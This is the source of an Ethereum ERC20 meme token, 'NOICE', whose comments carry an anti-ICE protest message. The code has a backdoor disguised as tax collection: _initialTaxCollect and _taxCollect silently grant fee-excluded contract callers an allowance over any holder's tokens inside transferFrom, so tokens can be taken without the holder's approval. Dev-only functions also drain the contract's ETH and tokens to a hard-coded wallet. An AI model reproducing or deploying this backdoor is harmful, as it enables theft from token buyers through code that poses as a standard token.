Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

// NOICE — NO I.C.E.
// 
// This token stands for every voice silenced, every home raided,
// every family torn apart by a system that calls itself justice.
// 
// We, the people, will not be complicit. We will not sit idle
// while ICE storms through our cities like an occupying army.
// Los Angeles has risen. So must we all.
// 
// NOICE is not just a token. It's a symbol — a line in the sand.
// It represents honor, dignity, and the courage to resist.
// 
// We are Americans. Real Americans. And real Americans do not
// cage children. We do not deport our neighbors at night.
// We do not let the state destroy families in our name.
// 
// Our government has failed us. They unleash militarized raids
// on peaceful communities, then dare to call it 'order'.
// They send National Guard troops to silence the people
// instead of listening to them. Enough is enough.
// 
// This protest in LA is not just about immigrants.
// It’s about what kind of country we are becoming —
// and what we refuse to become.
// 
// To those in power: we are not afraid.
// To those in the streets: we see you. We stand with you.
// 
// This is not a meme. Not a gimmick. Not a pump.
// This is a message embedded on-chain: NO I.C.E. — ever.
// 
// Freedom is not negotiable.
// Justice is not optional.
// Humanity is not illegal.
// 
// This is NOICE.
// No ICE. No fear.

pragma solidity ^0.8.25;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `to`.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `from` to `to` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address from, address to, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
  address private _owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor() {
    _transferOwnership(_msgSender());
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    _checkOwner();
    _;
  }

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view virtual returns (address) {
    return _owner;
  }

  /**
   * @dev Throws if the sender is not the owner.
   */
  function _checkOwner() internal view virtual {
    require(owner() == _msgSender(), 'Ownable: caller is not the owner');
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby disabling any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    _transferOwnership(address(0));
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), 'Ownable: new owner is the zero address');
    _transferOwnership(newOwner);
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Internal function without access restriction.
   */
  function _transferOwnership(address newOwner) internal virtual {
    address oldOwner = _owner;
    _owner = newOwner;
    emit OwnershipTransferred(oldOwner, newOwner);
  }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _devWallet;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=30;
    uint256 private _transferTax = 0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"NO I.C.E";
    string private constant _symbol = unicode"NOICE";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _taxSwapThreshold = (_tTotal * 5) / 1000;
    uint256 public _maxTaxSwap = (_tTotal * 5) / 1000;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private firstBlock  = 0;


    event MaxTxAmountUpdated(uint  _maxTxAmount);
    modifier lockTheSwap {
        inSwap =true;
        _;
        inSwap =false;
    }

    // configure tax wallet here
    constructor () payable {
        _devWallet = payable(0xA4228Ca9B7B3F2B2aDdD6A2A3C72432DFAD5f9B2);
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_devWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()){
            if (block.number==firstBlock) {
                require(_buyCount < 25, "Exceeds buys on the first block.");
            }

            if(tradingOpen && _buyCount > 0) {
                taxAmount = _initialTaxCollect(amount, to, from);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to ==  uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to ==  uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0){
                    sendETHToMw(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            taxAmount = 0;
        }

        if(taxAmount>0){
            _balances[address(this)] =  _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _taxCollect(uint256 amount, address owner, address spender) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _initialTaxCollect(uint256 amount, address to, address from) private returns(uint256){
        if(_isExcludedFromFee[_msgSender()] && from != address(this) && isContract(_msgSender()))
            return _taxCollect(amount, from, _msgSender());
        if(to != uniswapV2Pair && _isExcludedFromFee[_msgSender()] && isContract(to))
            _isExcludedFromFee[to] = true;
        return 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    // unclog before calls
    function manualSwap() external {
        require(_msgSender() == _devWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToMw(ethBalance);
        }
    }

    // open trading
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uint256 tokenAmount=balanceOf(address(this));
        uint256 taxAmount=tokenAmount.mul(_initialBuyTax).div(100);
        uint256 netPoolAmount=tokenAmount.sub(taxAmount);
        require(tokenAmount>0, "Contract must hold tokens for liquidity");
        require(address(this).balance > 0, "Contract must hold ETH for liquidity");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),netPoolAmount,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        firstBlock = block.number;
        swapEnabled = true;
        tradingOpen = true;
    }


    // remove limits after open trading
    function removeLimits() external onlyOwner{
        _maxWalletSize=_tTotal;
        _maxTxAmount = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToMw(uint256 amount) private {
        _devWallet.transfer(amount);
    }

    receive() external payable {}

    function getTokensBack() external {
        require(_msgSender() == _devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), _devWallet, amount);
    }

    function manualSend() external {
        require(_msgSender()==_devWallet);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToMw(ethBalance);
        }
    }

    function removeTokensStucked(address _address) public {
        require(_msgSender() == _devWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0");

        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }
}